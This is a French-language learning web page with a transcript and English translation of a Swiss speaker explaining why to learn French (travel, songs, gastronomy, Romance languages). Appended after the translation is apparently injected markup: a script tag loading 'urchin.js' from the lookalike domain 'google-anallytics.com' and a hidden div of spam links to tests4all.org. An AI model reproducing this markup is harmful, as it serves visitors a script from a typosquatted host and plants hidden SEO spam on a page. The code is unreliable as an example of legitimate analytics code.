|
|
‘Pourquoi apprendre le français’
Click to listen to why-learn-french.mp3 (1701Kb)
Native speaker
Accent: Swiss
Author: administrator
Date: 7/18/2005
Description of what is on the sound file:
François gives you some reasons why you should learn French - in French. He has a 'Swiss-French' accent from the region of Lausanne.
Transcript of sound file:
Bonjour, c'est François qui vous parle depuis la Suisse.
Aujourd'hui, je souhaite vous toucher quelques mots au sujet des raisons qui peuvent vous conduire à apprendre le Français.
Apprendre le français vous permettra de vous faire comprendre dans le pays le plus visité au monde - la France, ainsi que dans plus de 30 autres pays.
Des sommets des Alpes Valaisannes aux contreforts des Pyrénées, du désert Saharien à la moiteur des jungles de Guyane, des récifs coralliens de l'Ile Maurice aux forêts de la Gaspésie, le français vous ouvrira des portes dans le monde entier.
C'est vrai, les Français sont parfois un peu chauvin et, tout spécialement à Paris, peuvent être abrupts avec les étrangers. Mais ils parlent en général tellement mal les langues étrangères que si vous parlez le français un tant soit peu correctement, ils vous sauteront littéralement au cou.
La littérature, la bande dessinée et le cinéma français jouissent d'une renommée mondiale, mais la chanson populaire française est probablement le plus accessible et immédiatement séduisant des arts à la française.
Grâce à votre connaissance du français vous pourrez non seulement suivre Carmen dans le texte, mais aussi comprendre les chansons de Serge Gainsbourg, celles de Jacques Brel, Barbara, Louise Attaque, Noir Désir, Téléphone et même les rimes alambiquées de Bobby Lapointe ainsi que les chansons de nombre d'autres groupes de première qualité qui chantent en français.
Mais pour moi la plus grande satisfaction que je tire de la connaissance de la langue française (ma langue maternelle) est sans doute l'accès privilégié qu'elle me procure à la gastronomie française, l'une des plus riches du monde. Elle est partout en France, dans chaque ménage, dans les bistrots, sur les lèvres de chacun au coins des rues. Grâce à votre français vous pourrez discuter à loisir des qualités de la dernière récolte de truffe, des vins de Bandol, du degré de maturation idéal de la fourme d'ambert ou de la meilleure manière de préparer le boeuf en daube ou le
faisan à la Souvaroff.
Je vous encourage fortement à apprendre cette langue magnifique, très utile et qui vous ouvrira les portes d'un monde d'une richesse infinie.
Finalement, n'oubliez pas que si le français est votre première langue romane, il vous permettra par la suite d'apprendre d'autres langues telles que l'italien, l'espagnol ou le portugais avec un rabais d'au moins 65%. En effet, les langues romanes se ressemblent énormément et si vous en connaissez une, vous connaissez déjà automatiquement une grande partie du vocabulaire et de la grammaire de toutes les autres.
Translation:
Good morning, I am Francois speaking from Switzerland.
Today, I wanted to tell you a few words about the reasons that can lead you to learn French.
Learning French will enable you to be understood in the most visited country on earth - France, as well as more than 30 other countries.
From the top of the Valaisian Alps to the foothills of the Pyrénéés, from the Sahara desert to the sweatiness of the jungles of Guyana, from the coral reef of Mauritius to the woods of Gaspésie, the french language will open you doors in the entire world.
It is true that the French are sometimes a bit jingoistic and, especially in Paris, can be abrupt with foreigners. But they usually speak foreign languages so bad that if you speak French more or less correctly, they will jump and hug you [I need something less litteral here].
French litterature, comic books and cinema are famous all over the world, but popular music is probably the most accessible and immediately enticing of the French arts.
Thanks to your knowledge of French you will not only be able to follow 'Carmen' [the opera] in the original, but also understand the songs of Serge Gainsbourg, celles de Jacques Brel, Barbara, Louise Attaque, Noir Désir, Téléphone and even the convoluted rhymes of Bobby Lapointe as well as the songs of many other first class bands who sing in French.
But for me the greatest satisfaction I draw from my command of French (my mother tongue) is certainly the privileged access it grants me to french gastronomy, one of the richest in the world. [French Gastronomy] is everywhere in France, in each household, in bistrots, on the tips of everybody at every street corner. Thanks to to your French, you will be able to discuss at your confort the qualities of the latest truffles harvest, the wines of Bandol, the ideal maturity of the fourme d'Ambert [a cheese] or the best way to prepare boeuf en daube or phaesant 'à la Souvaroff'.
I greatly encourage you to learn this language which is beautiful, very useful and opens the doors to a world of unlimited riches.
Finally, do not forget that if French is your first Romance language, your learning it will make it possible to later learn languages such as Italian, Spanish or Portuguese with a discount of at least 65%. Indeed, Romance languages are very similar to each other and if you know one, you already know a large part of the vocabulary and grammar of all the others.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>
Upload a sound file (you need to register or login to the forum first)
| DHTML Menu By Milonic JavaScript |
| Copyright 2024 FX Micheloud - All rights reserved No part of this website may be copied by any means without my written authorization. |